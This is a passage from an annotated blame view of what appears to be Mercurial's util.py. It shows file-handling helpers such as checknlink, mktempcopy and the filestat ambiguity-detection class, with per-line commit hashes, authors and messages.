  1882
    # testfile may be open, so we need a separate file for checking to
5b83ab614dab checknlink: use two testfiles (issue2543)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13188
diff changeset
  1883
    # work around issue2543 (or testfile may get lost on Samba shares)
34101
6c5cdb02f2f9 checknlink: rename file object from 'fd' to 'fp'
Jun Wu <quark@fb.com>
parents: 34096
diff changeset
  1884
    f1, f2, fp = None, None, None
12938
bf826c0b9537 opener: check hardlink count reporting (issue1866)
Adrian Buehlmann <adrian@cadifra.com>
parents: 12927
diff changeset
  1885
    try:
34096
1104718fb090 checknlink: use a random temp file name for checking
Jun Wu <quark@fb.com>
parents: 34089
diff changeset
  1886
        fd, f1 = tempfile.mkstemp(prefix='.%s-' % os.path.basename(testfile),
1104718fb090 checknlink: use a random temp file name for checking
Jun Wu <quark@fb.com>
parents: 34089
diff changeset
  1887
                                  suffix='1~', dir=os.path.dirname(testfile))
1104718fb090 checknlink: use a random temp file name for checking
Jun Wu <quark@fb.com>
parents: 34089
diff changeset
  1888
        os.close(fd)
1104718fb090 checknlink: use a random temp file name for checking
Jun Wu <quark@fb.com>
parents: 34089
diff changeset
  1889
        f2 = '%s2~' % f1[:-2]
1104718fb090 checknlink: use a random temp file name for checking
Jun Wu <quark@fb.com>
parents: 34089
diff changeset
  1890
25088
754df8e932d3 util: use try/except/finally
Matt Mackall <mpm@selenic.com>
parents: 24902
diff changeset
  1891
        oslink(f1, f2)
12938
bf826c0b9537 opener: check hardlink count reporting (issue1866)
Adrian Buehlmann <adrian@cadifra.com>
parents: 12927
diff changeset
  1892
        # nlinks() may behave differently for files on Windows shares if
bf826c0b9537 opener: check hardlink count reporting (issue1866)
Adrian Buehlmann <adrian@cadifra.com>
parents: 12927
diff changeset
  1893
        # the file is open.
34101
6c5cdb02f2f9 checknlink: rename file object from 'fd' to 'fp'
Jun Wu <quark@fb.com>
parents: 34096
diff changeset
  1894
        fp = posixfile(f2)
13204
5b83ab614dab checknlink: use two testfiles (issue2543)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13188
diff changeset
  1895
        return nlinks(f2) > 1
25088
754df8e932d3 util: use try/except/finally
Matt Mackall <mpm@selenic.com>
parents: 24902
diff changeset
  1896
    except OSError:
754df8e932d3 util: use try/except/finally
Matt Mackall <mpm@selenic.com>
parents: 24902
diff changeset
  1897
        return False
12938
bf826c0b9537 opener: check hardlink count reporting (issue1866)
Adrian Buehlmann <adrian@cadifra.com>
parents: 12927
diff changeset
  1898
    finally:
34101
6c5cdb02f2f9 checknlink: rename file object from 'fd' to 'fp'
Jun Wu <quark@fb.com>
parents: 34096
diff changeset
  1899
        if fp is not None:
6c5cdb02f2f9 checknlink: rename file object from 'fd' to 'fp'
Jun Wu <quark@fb.com>
parents: 34096
diff changeset
  1900
            fp.close()
13204
5b83ab614dab checknlink: use two testfiles (issue2543)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13188
diff changeset
  1901
        for f in (f1, f2):
5b83ab614dab checknlink: use two testfiles (issue2543)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13188
diff changeset
  1902
            try:
34096
1104718fb090 checknlink: use a random temp file name for checking
Jun Wu <quark@fb.com>
parents: 34089
diff changeset
  1903
                if f is not None:
1104718fb090 checknlink: use a random temp file name for checking
Jun Wu <quark@fb.com>
parents: 34089
diff changeset
  1904
                    os.unlink(f)
13204
5b83ab614dab checknlink: use two testfiles (issue2543)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13188
diff changeset
  1905
            except OSError:
5b83ab614dab checknlink: use two testfiles (issue2543)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13188
diff changeset
  1906
                pass
12938
bf826c0b9537 opener: check hardlink count reporting (issue1866)
Adrian Buehlmann <adrian@cadifra.com>
parents: 12927
diff changeset
  1907
5843
83c354c4d529 Add endswithsep() and use it instead of using os.sep and os.altsep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents: 5802
diff changeset
  1908
def endswithsep(path):
83c354c4d529 Add endswithsep() and use it instead of using os.sep and os.altsep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents: 5802
diff changeset
  1909
    '''Check path ends with os.sep or os.altsep.'''
30618
1112ff99d965 py3: replace os.sep with pycompat.ossep (part 1 of 4)
Pulkit Goyal <7895pulkit@gmail.com>
parents: 30545
diff changeset
  1910
    return (path.endswith(pycompat.ossep)
30630
bcf4a975f93d py3: replace os.altsep with pycompat.altsep
Pulkit Goyal <7895pulkit@gmail.com>
parents: 30618
diff changeset
  1911
            or pycompat.osaltsep and path.endswith(pycompat.osaltsep))
5843
83c354c4d529 Add endswithsep() and use it instead of using os.sep and os.altsep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents: 5802
diff changeset
  1912
5844
07d8eb78dd68 Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents: 5843
diff changeset
  1913
def splitpath(path):
07d8eb78dd68 Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents: 5843
diff changeset
  1914
    '''Split path by os.sep.
07d8eb78dd68 Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents: 5843
diff changeset
  1915
    Note that this function does not use os.altsep because this is
07d8eb78dd68 Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents: 5843
diff changeset
  1916
    an alternative of simple "xxx.split(os.sep)".
07d8eb78dd68 Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents: 5843
diff changeset
  1917
    It is recommended to use os.path.normpath() before using this
07d8eb78dd68 Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents: 5843
diff changeset
  1918
    function if need.'''
30618
1112ff99d965 py3: replace os.sep with pycompat.ossep (part 1 of 4)
Pulkit Goyal <7895pulkit@gmail.com>
parents: 30545
diff changeset
  1919
    return path.split(pycompat.ossep)
5844
07d8eb78dd68 Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents: 5843
diff changeset
  1920
6062
3c3b126e5619 Make files in .hg inherit the permissions from .hg/store
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 6007
diff changeset
  1921
def mktempcopy(name, emptyok=False, createmode=None):
4827
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
  1922
    """Create a temporary file with the same contents from name
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
  1923
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
  1924
    The permission bits are copied from the original file.
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
  1925
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
  1926
    If the temporary file is going to be truncated immediately, you
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
  1927
    can use emptyok=True as an optimization.
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
  1928
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
  1929
    Returns the name of the temporary file.
2176
9b42304d9896 fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2117
diff changeset
  1930
    """
4827
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
  1931
    d, fn = os.path.split(name)
34020
2ad028635ccd util: use ~ as a suffix for a temp file in the same directory as a source file
Michael Bolin <mbolin@fb.com>
parents: 33874
diff changeset
  1932
    fd, temp = tempfile.mkstemp(prefix='.%s-' % fn, suffix='~', dir=d)
4827
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
  1933
    os.close(fd)
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
  1934
    # Temporary files are created with mode 0600, which is usually not
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
  1935
    # what we want.  If the original file already exists, just copy
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
  1936
    # its mode.  Otherwise, manually obey umask.
15010
c3114acd8ea2 util: factor new function copymode out of mktempcopy
Adrian Buehlmann <adrian@cadifra.com>
parents: 14999
diff changeset
  1937
    copymode(name, temp, createmode)
4827
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
  1938
    if emptyok:
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
  1939
        return temp
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
  1940
    try:
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
  1941
        try:
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
  1942
            ifp = posixfile(name, "rb")
25660
328739ea70c3 global: mass rewrite to use modern exception syntax
Gregory Szorc <gregory.szorc@gmail.com>
parents: 25420
diff changeset
  1943
        except IOError as inst:
4827
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
  1944
            if inst.errno == errno.ENOENT:
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
  1945
                return temp
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
  1946
            if not getattr(inst, 'filename', None):
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
  1947
                inst.filename = name
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
  1948
            raise
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
  1949
        ofp = posixfile(temp, "wb")
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
  1950
        for chunk in filechunkiter(ifp):
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
  1951
            ofp.write(chunk)
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
  1952
        ifp.close()
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
  1953
        ofp.close()
16705
c2d9ef43ff6c check-code: ignore naked excepts with a "re-raise" comment
Brodie Rao <brodie@sf.io>
parents: 16703
diff changeset
  1954
    except: # re-raises
34436
5326e4ef1dab style: never put multiple statements on one line
Alex Gaynor <agaynor@mozilla.com>
parents: 34363
diff changeset
  1955
        try:
5326e4ef1dab style: never put multiple statements on one line
Alex Gaynor <agaynor@mozilla.com>
parents: 34363
diff changeset
  1956
            os.unlink(temp)
5326e4ef1dab style: never put multiple statements on one line
Alex Gaynor <agaynor@mozilla.com>
parents: 34363
diff changeset
  1957
        except OSError:
5326e4ef1dab style: never put multiple statements on one line
Alex Gaynor <agaynor@mozilla.com>
parents: 34363
diff changeset
  1958
            pass
4827
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
  1959
        raise
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
  1960
    return temp
2176
9b42304d9896 fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2117
diff changeset
  1961
29200
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  1962
class filestat(object):
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  1963
    """help to exactly detect change of a file
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  1964
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  1965
    'stat' attribute is result of 'os.stat()' if specified 'path'
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  1966
    exists. Otherwise, it is None. This can avoid preparative
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  1967
    'exists()' examination on client side of this class.
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  1968
    """
32792
7ad95626f6a7 filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents: 32769
diff changeset
  1969
    def __init__(self, stat):
7ad95626f6a7 filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents: 32769
diff changeset
  1970
        self.stat = stat
7ad95626f6a7 filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents: 32769
diff changeset
  1971
7ad95626f6a7 filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents: 32769
diff changeset
  1972
    @classmethod
7ad95626f6a7 filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents: 32769
diff changeset
  1973
    def frompath(cls, path):
29200
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  1974
        try:
32792
7ad95626f6a7 filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents: 32769
diff changeset
  1975
            stat = os.stat(path)
29200
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  1976
        except OSError as err:
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  1977
            if err.errno != errno.ENOENT:
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  1978
                raise
32792
7ad95626f6a7 filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents: 32769
diff changeset
  1979
            stat = None
7ad95626f6a7 filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents: 32769
diff changeset
  1980
        return cls(stat)
29200
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  1981
32835
1b25c648d5b7 fsmonitor: don't write out state if identity has changed (issue5581)
Siddharth Agarwal <sid0@fb.com>
parents: 32792
diff changeset
  1982
    @classmethod
1b25c648d5b7 fsmonitor: don't write out state if identity has changed (issue5581)
Siddharth Agarwal <sid0@fb.com>
parents: 32792
diff changeset
  1983
    def fromfp(cls, fp):
1b25c648d5b7 fsmonitor: don't write out state if identity has changed (issue5581)
Siddharth Agarwal <sid0@fb.com>
parents: 32792
diff changeset
  1984
        stat = os.fstat(fp.fileno())
1b25c648d5b7 fsmonitor: don't write out state if identity has changed (issue5581)
Siddharth Agarwal <sid0@fb.com>
parents: 32792
diff changeset
  1985
        return cls(stat)
1b25c648d5b7 fsmonitor: don't write out state if identity has changed (issue5581)
Siddharth Agarwal <sid0@fb.com>
parents: 32792
diff changeset
  1986
29200
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  1987
    __hash__ = object.__hash__
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  1988
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  1989
    def __eq__(self, old):
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  1990
        try:
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  1991
            # if ambiguity between stat of new and old file is
30342
318a24b52eeb spelling: fixes of non-dictionary words
Mads Kiilerich <madski@unity3d.com>
parents: 30339
diff changeset
  1992
            # avoided, comparison of size, ctime and mtime is enough
29200
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  1993
            # to exactly detect change of a file regardless of platform
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  1994
            return (self.stat.st_size == old.stat.st_size and
36789
ffa3026d4196 cleanup: use stat_result[stat.ST_MTIME] instead of stat_result.st_mtime
Augie Fackler <augie@google.com>
parents: 36747
diff changeset
  1995
                    self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME] and
ffa3026d4196 cleanup: use stat_result[stat.ST_MTIME] instead of stat_result.st_mtime
Augie Fackler <augie@google.com>
parents: 36747
diff changeset
  1996
                    self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME])
29200
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  1997
        except AttributeError:
32769
b5524fd9a4e3 util: make filestat.__eq__ return True if both of self and old have None stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 32766
diff changeset
  1998
            pass
b5524fd9a4e3 util: make filestat.__eq__ return True if both of self and old have None stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 32766
diff changeset
  1999
        try:
b5524fd9a4e3 util: make filestat.__eq__ return True if both of self and old have None stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 32766
diff changeset
  2000
            return self.stat is None and old.stat is None
b5524fd9a4e3 util: make filestat.__eq__ return True if both of self and old have None stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 32766
diff changeset
  2001
        except AttributeError:
29200
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  2002
            return False
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  2003
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  2004
    def isambig(self, old):
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  2005
        """Examine whether new (= self) stat is ambiguous against old one
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  2006
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  2007
        "S[N]" below means stat of a file at N-th change:
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  2008
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  2009
        - S[n-1].ctime  < S[n].ctime: can detect change of a file
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  2010
        - S[n-1].ctime == S[n].ctime
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  2011
          - S[n-1].ctime  < S[n].mtime: means natural advancing (*1)
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  2012
          - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  2013
          - S[n-1].ctime  > S[n].mtime: never occurs naturally (don't care)
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  2014
        - S[n-1].ctime  > S[n].ctime: never occurs naturally (don't care)
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  2015
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  2016
        Case (*2) above means that a file was changed twice or more at
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  2017
        same time in sec (= S[n-1].ctime), and comparison of timestamp
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  2018
        is ambiguous.
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  2019
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  2020
        Base idea to avoid such ambiguity is "advance mtime 1 sec, if
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  2021
        timestamp is ambiguous".
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  2022
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  2023
        But advancing mtime only in case (*2) doesn't work as
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  2024
        expected, because naturally advanced S[n].mtime in case (*1)
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  2025
        might be equal to manually advanced S[n-1 or earlier].mtime.
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  2026
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  2027
        Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  2028
        treated as ambiguous regardless of mtime, to avoid overlooking
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  2029
        by confliction between such mtime.
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  2030
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  2031
        Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  2032
        S[n].mtime", even if size of a file isn't changed.
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  2033
        """
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  2034
        try:
36789
ffa3026d4196 cleanup: use stat_result[stat.ST_MTIME] instead of stat_result.st_mtime
Augie Fackler <augie@google.com>
parents: 36747
diff changeset
  2035
            return (self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME])
29200
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  2036
        except AttributeError:
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  2037
            return False
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  2038
30253
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 30181
diff changeset
  2039
    def avoidambig(self, path, old):
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 30181
diff changeset
  2040
        """Change file stat of specified path to avoid ambiguity
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 30181
diff changeset
  2041
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 30181
diff changeset
  2042
        'old' should be previous filestat of 'path'.
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 30181
diff changeset
  2043
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 30181
diff changeset
  2044
        This skips avoiding ambiguity, if a process doesn't have
32766
77f354ae1123 util: make filestat.avoidambig() return whether ambiguity is avoided or not
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 32674
diff changeset
  2045
        appropriate privileges for 'path'. This returns False in this
77f354ae1123 util: make filestat.avoidambig() return whether ambiguity is avoided or not
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 32674
diff changeset
  2046
        case.
77f354ae1123 util: make filestat.avoidambig() return whether ambiguity is avoided or not
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 32674
diff changeset
  2047
77f354ae1123 util: make filestat.avoidambig() return whether ambiguity is avoided or not
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 32674
diff changeset
  2048
        Otherwise, this returns True, as "ambiguity is avoided".
30253
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 30181
diff changeset
  2049
        """
36789
ffa3026d4196 cleanup: use stat_result[stat.ST_MTIME] instead of stat_result.st_mtime
Augie Fackler <augie@google.com>
parents: 36747
diff changeset
  2050
        advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7fffffff
30253
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 30181
diff changeset
  2051
        try:
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 30181
diff changeset
  2052
            os.utime(path, (advanced, advanced))
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 30181
diff changeset
  2053
        except OSError as inst:
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 30181
diff changeset
  2054
            if inst.errno == errno.EPERM:
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 30181
diff changeset
  2055
                # utime() on the file created by another user causes EPERM,
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 30181
diff changeset
  2056
                # if a process doesn't have appropriate privileges
32766
77f354ae1123 util: make filestat.avoidambig() return whether ambiguity is avoided or not
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 32674
diff changeset
  2057
                return False
30253
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 30181
diff changeset
  2058
            raise
32766
